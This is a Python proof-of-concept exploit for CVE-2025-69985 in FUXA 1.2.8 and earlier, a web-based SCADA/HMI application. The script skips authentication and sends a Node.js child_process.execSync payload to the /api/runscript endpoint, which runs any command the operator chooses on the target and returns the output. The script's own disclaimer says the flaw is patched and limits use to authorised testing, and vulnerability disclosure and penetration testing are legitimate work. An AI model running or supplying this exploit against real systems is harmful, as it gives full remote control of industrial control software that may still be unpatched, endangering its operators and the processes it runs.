# Exploit Title: FUXA 1.2.8 - Authentication Bypass + RCE Exploit
# Date: 2026-02-25
# Exploit Author: Joshua van der Poll (https://github.com/joshuavanderpoll/)
# Software Link: https://github.com/frangoteam/FUXA/tree/v1.2.8
# Vendor Homepage: https://github.com/frangoteam/FUXA
# Version: FUXA <= 1.2.8
# Tested on: Debian GNU/Linux 12
# CVE : CVE-2025-69985
"""
FUXA ≤ 1.2.8 Authentication Bypass + RCE Exploit
CVE-2025-69985
This Python exploit targets CVE-2025-69985, an authentication bypass in FUXA
(web-based SCADA/HMI software) that allows access to the protected /api/runscript
endpoint even when authentication is enabled.
By sending a crafted JavaScript payload using child_process.execSync, it achieves
full remote command execution with complete stdout capture (no reverse shell needed).
Author: Joshua van der Poll (https://github.com/joshuavanderpoll/CVE-2025-69985)
Created: February 2026
Version: 1.0
License: GNU General Public License v3.0 (GPL-3.0)
Disclaimer: Use responsibly. This is a proof-of-concept for a patched
vulnerability (fixed in FUXA > 1.2.8). Do not use against
systems you do not own or have explicit permission to test.
Usage:
python3 exploit.py -u http://target:1881 -c "whoami"
"""
import requests
import argparse
import sys
import urllib3
# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Colors
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
BLUE = '\033[94m'
CYAN = '\033[96m'
RESET = '\033[0m'
def print_status(msg, color=BLUE, symbol="[*]"):
print(f"{color}{symbol} {msg}{RESET}")
def print_success(msg):
print_status(msg, GREEN, "[+]")
def print_warning(msg):
print_status(msg, YELLOW, "[!]")
def print_error(msg, exc=None):
print_status(msg, RED, "[-]")
if exc:
print(f" → {type(exc).__name__}: {exc}")
import traceback
traceback.print_exc(limit=2)
def build_js_payload(command: str) -> str:
"""Build safe Node.js payload with proper escaping"""
escaped = (command
.replace('\\', '\\\\')
.replace('"', '\\"')
.replace('`', '\\`')
.replace('\n', '\\n'))
js = f"""const cp = require("child_process");
try {{
const result = cp.execSync("{escaped}", {{ encoding: "utf8" }});
return result.toString();
}} catch (err) {{
return "ERROR: " + err.message +
(err.stdout ? "\\nSTDOUT: " + err.stdout.toString() : "") +
(err.stderr ? "\\nSTDERR: " + err.stderr.toString() : "");
}}"""
return js
def run_command(session, base_url, command):
print_status(f"Preparing payload → executing: {command}")
js_code = build_js_payload(command)
payload = {
"params": {
"script": {
"parameters": [],
"mode": "",
"id": "exploit",
"name": "exploit",
"code": js_code,
"test": js_code
},
"toLogEvent": False
}
}
headers = {
"Content-Type": "application/json",
"Referer": f"{base_url}/fuxa"
}
print_status("Sending exploit request to /api/runscript ...")
try:
resp = session.post(
f"{base_url}/api/runscript",
json=payload,
headers=headers,
timeout=15,
verify=False
)
print_status(f"Response status: {resp.status_code}", CYAN)
if resp.status_code == 200:
output = resp.text.strip()
print_success("Command executed successfully (CVE-2025-69985 bypass)!")
print(f"\n{GREEN}=== COMMAND OUTPUT ==={RESET}")
print(output if output else "(no output)")
print(f"{GREEN}======================{RESET}\n")
return True
else:
print_error(f"Server returned {resp.status_code}")
if resp.text.strip():
print(f"Body preview: {resp.text[:500]}")
return False
except requests.exceptions.Timeout:
print_warning("Request timed out (command may still have executed)")
return False
except Exception as e:
print_error("Request failed", e)
return False
def exploit_command(base_url, command):
session = requests.Session()
session.verify = False
# Execute command
success = run_command(session, base_url, command)
if success:
print("\n" + "="*70)
print(f" {GREEN}Exploit completed!.{RESET}")
print("="*70 + "\n")
else:
print_warning("Exploit may require checking target version / network")
def main():
parser = argparse.ArgumentParser(
description="FUXA ≤ 1.2.8 Auth Bypass + RCE (CVE-2025-69985)"
)
parser.add_argument('-u', '--url', required=True, help="Target URL (http(s)://host:port)")
parser.add_argument('-c', '--cmd', required=True, help="Command to execute on target")
args = parser.parse_args()
base_url = args.url.rstrip('/')
print(f"\n {BLUE}Target :{RESET} {base_url}")
print(f" {BLUE}Command:{RESET} {args.cmd}\n")
try:
exploit_command(
base_url=base_url,
command=args.cmd
)
except KeyboardInterrupt:
print_warning("Interrupted by user")
sys.exit(2)
except Exception as e:
print_error("Unexpected fatal error", e)
sys.exit(3)
if __name__ == "__main__":
main()